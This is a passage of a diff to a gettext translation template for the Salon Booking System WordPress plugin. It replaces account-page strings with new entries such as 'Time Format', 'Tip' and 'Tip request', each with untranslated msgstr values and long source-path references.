build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:70\n-msgid \"You don't have upcoming reservations, do you want to re-schedule your last appointment with us?\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:131\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:131\n+msgid \"Time Format\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:86, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:86, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:86, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:86, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:86, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:86\n-msgid \"Display past reservations\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:21\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:21\n+msgid \"Time in advance\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:88, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:88, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:88, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:88, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:88, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:88\n-msgid \"Reservations history\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:247\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDateAlt.php:247\n+msgid \"Time is free for services and attendants.\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:110, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:110, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:110, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:110, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:110, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:110\n-msgid \"No bookings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:171\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:171\n+msgid \"Time out of the booking time range.\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:104, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:104, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:104, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:104, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:104, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:104\n-msgid \"Scroll down to load past reservations\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:114\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:114\n+msgid \"Time restriction\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:136, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:136, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:136, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:136, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:136, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:136\n-msgid \"How was your experience with us this time? (required)\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_unavailable.php:5\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_unavailable.php:5\n+msgid \"Time-slot already booked, please start over.\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:137, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:137, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:137, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:137, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:137, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:137\n-msgid \"please, drop us some lines to understand if your experience has been  in line  with your expectations\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:35\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:65\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:128\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityIntervals_Controller.php:31\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:33\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:74\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:35\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:65\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:119\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:173\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityIntervals_Controller.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:33\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:74\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:35\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:65\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:128\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityIntervals_Controller.php:31\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:33\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:74\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:35\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:65\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:119\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:173\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityIntervals_Controller.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:33\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:74\n+msgid \"Time.\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:140, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:140, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:140, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:140, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:140, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:140\n-msgid \"Rate our service (required)\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPlugin.php:241\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:241\n+msgid \"Time:\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:143, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:143, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:143\n-msgid \"Send your review\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:1110\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:1110\n+msgid \"times\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:148, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:148, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:148, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:148, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:148, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:148\n-msgid \"Thank you for your review. It will help us improving our services.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:371\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:371\n+msgid \"Timing\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:149, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:149, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:149, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:149, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:149, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:149\n-msgid \"We hope to see you again at\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_booking_info.php:159\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_booking_info.php:159\n+msgid \"TIP\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:8, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:8, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:8\n-msgid \"When\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:664\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:664\n+msgid \"Tip\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:17, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:17, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:17\n-msgid \"Action\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:12\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:196\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:12\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:196\n+msgid \"Tip request\"\n msgstr \"\"\n \n-#: views\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:7, src\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:27, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:7, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:27, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:7, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:27\n-msgid \"Booking ID\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_show_tips.php:17\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:433\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 